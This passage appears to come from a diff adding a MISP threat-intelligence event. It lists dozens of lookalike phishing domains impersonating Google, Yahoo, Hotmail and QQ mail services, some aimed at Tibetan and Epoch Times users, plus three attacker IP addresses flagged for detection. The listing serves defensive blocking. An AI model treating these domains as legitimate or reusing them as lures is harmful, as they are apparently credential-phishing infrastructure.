"58dd97e8-ed28-4f49-811e-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1490917352", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "account-gooogle.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15797", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58dd97e8-44dc-4bc3-ad48-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1490917352", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "outlook-login.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15799", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58e2afc8-fb0c-40f7-9da1-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1491251144", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-mail.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16064", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "59272a06-6768-4f85-b5f9-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1495738886", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-platform.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15553", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-03c8-4bfd-9152-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google-protected.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16065", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "592c726a-2c78-4466-8ed6-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1496085098", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-info.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15554", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-a574-41cd-932a-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https-mail-google.ml", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16066", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "592c7284-ab6c-4d44-9ff1-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1496085124", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-goo.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15555", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-4ab0-4b27-9e1e-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsmail-google.cf", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16067", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "59304dd8-2f88-45ab-8a63-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1496337880", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webmail-dalailama.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15556", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-8ac8-4e39-9241-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https-mail-google.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15812", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58e7b5c8-9a60-4396-b42c-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1491580360", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "cc-mail-secret.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16068", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5935b5e6-6838-4e13-8e4a-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1496692198", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "xin-corp.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15557", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-7160-4d05-b9dd-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google-secure.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15813", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58e7b5c8-64c0-43cf-a8fd-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1491580360", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-goog1e.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16069", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5935b5e6-e930-41fe-9c27-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1496692198", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-defend.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15814", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58e7b5c8-f7f8-49f8-9246-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1491580360", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-mail.online", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16070", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "59396b77-c09c-4765-aac8-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1496935287", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "appinstall-mail.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15559", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-3998-4684-961b-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "gmail-profile.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15815", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58eba748-88cc-4103-b1f4-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1491838792", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-gooog1e.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16071", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "59396b77-2f9c-40dd-938c-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1496935287", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "edit-ymail.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15816", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58eba748-1028-4648-a69f-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1491838792", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "myaccounts-gooog1e.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15561", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-cd40-40b2-aeea-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hotmail-sign.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15817", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58eba748-0438-4514-bd1f-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1491838792", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webmail-dalailama.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15562", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-e068-49d4-852b-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "yahoo-images.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15563", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-1a34-46ff-9a98-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "yahoo-safety.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15564", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-3c10-4fdc-98cb-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google-post.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15565", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-8b3c-4300-a70b-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "yahoo-protect.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15566", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-ca80-495e-8d0c-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "gmail-safety.pw", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15567", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-b674-4ca5-9f07-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsdrive-google.pw", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15568", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-2abc-4a62-a220-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-doubt.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15569", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-a0f0-4f2a-9149-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "yahoomaintain.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15570", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-3dd8-4b9d-a1a9-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "t1bet.net", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15826", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58ee49a7-7740-4766-9547-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1492011431", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-aol.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15571", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-be20-4fe3-92f4-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google-secret.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15827", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58ee4d32-1f88-411b-bbe5-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1492012338", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-epochtimes.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15572", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-9df0-4ca1-948f-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accountsgoog1e.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15828", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58ee553c-4c6c-4fa6-8c2f-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1492014396", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-email.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15573", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-8128-4bd5-9dbc-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-google.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15574", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-7f20-46c1-9bd2-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-goog1e.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15830", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58efbb0f-19b4-4a87-8f27-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1492105999", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "files-mail.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15576", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-8644-420d-b070-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138456", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "postmailsecret.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15577", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-5938-4cb4-9b4b-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138456", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsaccounts-google.pw", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15578", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-d4ec-4a9f-a9cb-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138456", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsaccounts-google.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15580", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-eb20-4b18-9740-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138456", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsdrive-google.site", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15581", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-be78-4001-bb08-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138456", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https-drive-google.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15582", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-2c48-4b14-915e-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138456", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsdrive-accounts-google.site", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15583", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-6b28-4688-9f8e-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138456", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsaccounts-google.site", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15585", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-cb00-4c50-9a6f-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138456", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsmyaccounts-google.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15586", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-0aa8-4976-9e0b-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138456", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsaccounts-google.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15587", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa321-4520-4b40-87c8-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138456", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mydrive-google.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15588", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-7e2c-4594-aa21-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138457", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsmyaccount-google.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15589", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-ba50-47d9-82ba-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138457", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsdrive-google.net", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15590", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-0724-494e-bae1-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138457", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-accounts-google.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15591", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-a65c-4bd7-8c7d-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138457", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "myaccountsgoogle.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15593", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-b95c-42f0-ab69-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138457", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mg-mail-yahoo.us", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15594", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-dadc-4b51-963d-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138457", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "files-mail-qq.online", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15595", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-0718-42ca-a7e2-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138457", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mydrive-google.asia", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15596", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-4e2c-43dc-b683-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138457", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drivegoogle.biz", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15597", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-5284-467a-af2a-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138457", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "myaccounts-google.online", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15853", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58f90cf2-98f0-4a03-a482-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1492716786", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-gooog1e.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15598", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-56a4-4e03-ad12-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138457", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-qq.online", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15599", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-90d4-4f92-a61e-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138457", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mydrive-google.online", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15855", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58f9103e-e3a0-419f-80b8-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1492717630", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-protect.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15600", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-3fb4-4ae1-9474-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138458", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "myaccounts-google.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15601", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-ead0-4eae-891e-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138458", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-mail-google.cf", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15602", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-3504-44a3-9617-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138458", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-accounts-google.online", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15603", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-0730-4b97-aeba-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138458", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsdrive-google.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15604", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-8410-4810-ac33-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138458", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsmail-google.ml", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15605", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-c228-40b2-b26f-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138458", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-accounts-gooogle.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15606", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-db48-45a2-b841-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138458", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https-myaccounts-google.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15608", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-5f50-470e-b879-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138458", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-mail-google.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15609", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-b2a4-4870-8b10-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138458", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https-drive-google.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15865", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58fe51b3-ae50-45a7-ab7f-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1493062067", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "email-163.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15866", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58fe5290-6718-4a5b-9ec2-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1493062288", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-gooog1e.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15612", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-3948-484b-8f15-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138458", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsdrive-mail-google.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15868", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58fe5c42-db88-4f68-a450-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1493064770", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-attachment-usercontent.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17916", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e58ea-2fe8-495b-89d6-06de8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516132586", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "phpinfo.pw", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15613", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-f124-4da4-b7dc-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138459", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "myaccounts-google.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15614", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-0d88-4d42-8935-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138459", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsaccounts-drive-google.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15615", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-d888-4b55-bb55-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138459", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsaccount-google.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17917", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e59b5-fc40-4c1d-8e76-06de8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516132788", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "104.207.132.165", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17918", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e59b5-adf0-4031-80bb-06de8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516132789", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "45.63.0.49", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17919", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e59b5-c328-49e9-9334-06de8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516132789", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "115.126.39.107", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17920", + "type": "md5", + "category": "Payload delivery", + 